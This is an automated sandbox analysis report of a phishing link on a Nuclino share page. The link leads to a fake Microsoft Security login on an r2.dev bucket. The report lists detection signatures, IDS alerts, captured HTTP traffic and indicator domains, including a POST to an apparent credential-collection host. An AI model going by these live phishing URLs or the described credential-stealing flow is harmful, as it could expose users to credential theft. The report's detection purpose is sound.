Edit tour

Windows Analysis Report
https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b

Overview

General Information

Sample URL:	https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b
Analysis ID:	1536903
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

AI detected landing page (webpage, office document or email)

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1972,i,12892662554614850121,2233695481306920314,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Suricata Signatures

ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T11:20:38.568554+0200	2047978	2	Possible Social Engineering Attempted	192.168.2.16	49748	104.21.57.143	443	TCP
2024-10-18T11:20:46.033616+0200	2047978	2	Possible Social Engineering Attempted	192.168.2.16	49755	104.21.57.143	443	TCP
2024-10-18T11:20:54.056729+0200	2047978	2	Possible Social Engineering Attempted	192.168.2.16	49757	104.21.48.111	443	TCP

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Persistence and Installation Behavior
• Boot Survival

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

AI detected phishing page

Source: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/index.html#

LLM: Score: 9 Reasons: The brand 'Microsoft Security' is associated with Microsoft, a well-known brand., The URL 'pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev' does not match the legitimate domain 'microsoft.com'., The domain 'r2.dev' is not associated with Microsoft and appears to be a generic or cloud service domain., The use of a subdomain with a long alphanumeric string is suspicious and often used in phishing attempts., The input fields labeled as 'u, n, k, n, o, w, n' do not provide clarity on their purpose, which is a common tactic in phishing sites to confuse users. DOM: 2.1.pages.csv

Source: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/index.html#

HTTP Parser: Total embedded image size: 73676

Source: https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b

HTTP Parser: Base64 decoded: {"alg":"HS256","typ":"JWT"}

Source: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/index.html#	HTTP Parser: No favicon
Source: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/index.html#	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49732 version: TLS 1.2

Source: Network traffic	Suricata IDS: 2047978 - Severity 2 - ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1 : 192.168.2.16:49748 -> 104.21.57.143:443
Source: Network traffic	Suricata IDS: 2047978 - Severity 2 - ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1 : 192.168.2.16:49755 -> 104.21.57.143:443
Source: Network traffic	Suricata IDS: 2047978 - Severity 2 - ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1 : 192.168.2.16:49757 -> 104.21.48.111:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56

Source: global traffic	HTTP traffic detected: GET /p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b HTTP/1.1Host: share.nuclino.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/material-design-iconic-font/2.1.2/css/material-design-iconic-font.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://share.nuclino.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/KaTeX/0.16.9/katex.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://share.nuclino.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/img/logo.svg HTTP/1.1Host: share.nuclino.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /files/f89a255e-4aae-48e1-ac8e-8d8d9885c27d/6160d273-1306-450f-93ab-5f4655227e69.png?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJmODlhMjU1ZS00YWFlLTQ4ZTEtYWM4ZS04ZDhkOTg4NWMyN2QiLCJwdXJwb3NlIjoiZ2V0LWZpbGUiLCJleHAiOjE3MjkyNDY3MzgsImlhdCI6MTcyOTI0MzEzOH0.AFTKbdyDi2jTNEHvZhRtvIw_qcPusDwS3CysmVsaQhc&preview=m HTTP/1.1Host: files.nuclino.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/img/logo.svg HTTP/1.1Host: share.nuclino.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /a459246b-5f10-4194-af46-86bb4a99fa28/720x407.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIA46LJ6W5CHJ7VOI6W%2F20241018%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Date=20241018T091901Z&X-Amz-Expires=21600&X-Amz-Signature=6c275af9d44cac1a2e76ef984ca55afd317b660e5b61f32fbe0771b16e8afd20&X-Amz-SignedHeaders=host&response-cache-control=private%2Cmax-age%3D21600&response-content-disposition=attachment%3B%20filename%3D%226160d273-1306-450f-93ab-5f4655227e69.png%22&x-id=GetObject HTTP/1.1Host: nuclino-files.s3.eu-central-1.amazonaws.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: share.nuclino.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /a459246b-5f10-4194-af46-86bb4a99fa28/720x407.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=AKIA46LJ6W5CHJ7VOI6W%2F20241018%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Date=20241018T091901Z&X-Amz-Expires=21600&X-Amz-Signature=6c275af9d44cac1a2e76ef984ca55afd317b660e5b61f32fbe0771b16e8afd20&X-Amz-SignedHeaders=host&response-cache-control=private%2Cmax-age%3D21600&response-content-disposition=attachment%3B%20filename%3D%226160d273-1306-450f-93ab-5f4655227e69.png%22&x-id=GetObject HTTP/1.1Host: nuclino-files.s3.eu-central-1.amazonaws.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: share.nuclino.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cNLWWRnPoHBT+Yw&MD=WE1T4B4a HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cNLWWRnPoHBT+Yw&MD=WE1T4B4a HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /index.html HTTP/1.1Host: pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-1.9.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-1.9.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: share.nuclino.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: share.nuclino.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: files.nuclino.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: nuclino-files.s3.eu-central-1.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: freeipapi.com
Source: global traffic	DNS traffic detected: DNS query: ii64j0n4olj.tkllop.online
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 55fsodlv18t.dffjl.online

Source: unknown

HTTP traffic detected: POST /obufsssssssscaaatoion/ HTTP/1.1Host: ii64j0n4olj.tkllop.onlineConnection: keep-aliveContent-Length: 107sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 18 Oct 2024 09:20:24 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 8d4773c92bccddb4-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: CowboyReport-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1729243240&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=uaLwxT1x6BLi7phjjBy9cOHMMwC86yLe%2Bgb9a05njq0%3D"}]}Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1729243240&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=uaLwxT1x6BLi7phjjBy9cOHMMwC86yLe%2Bgb9a05njq0%3DNel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]}Connection: closeCross-Origin-Opener-Policy: same-originOrigin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsX-Content-Type-Options: nosniffX-Dns-Prefetch-Control: offX-Download-Options: noopenX-Permitted-Cross-Domain-Policies: noneX-Xss-Protection: 0Content-Type: text/html; charset=utf-8Content-Length: 9Etag: W/"9-R1yEhnOj95+nePAcK9WnIdTEFwc"Date: Fri, 18 Oct 2024 09:20:40 GMTVia: 1.1 vegur

Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12282#comment:15
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12359
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://dev.w3.org/csswg/cssom/#resolved-values
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://javascript.nwbox.com/IEContentLoaded/
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://jquery.com/
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://json.org/json2.js
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://jsperf.com/getall-vs-sizzle/2
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=491668
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=649285
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: https://developer.mozilla.org/en/Security/CSP)
Source: chromecache_94.1.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_91.1.dr	String found in binary or memory: https://files.nuclino.com/files/f89a255e-4aae-48e1-ac8e-8d8d9885c27d/6160d273-1306-450f-93ab-5f46552
Source: chromecache_77.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa0ZL7SUc.woff2)
Source: chromecache_77.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1ZL7.woff2)
Source: chromecache_77.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1pL7SUc.woff2)
Source: chromecache_77.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa25L7SUc.woff2)
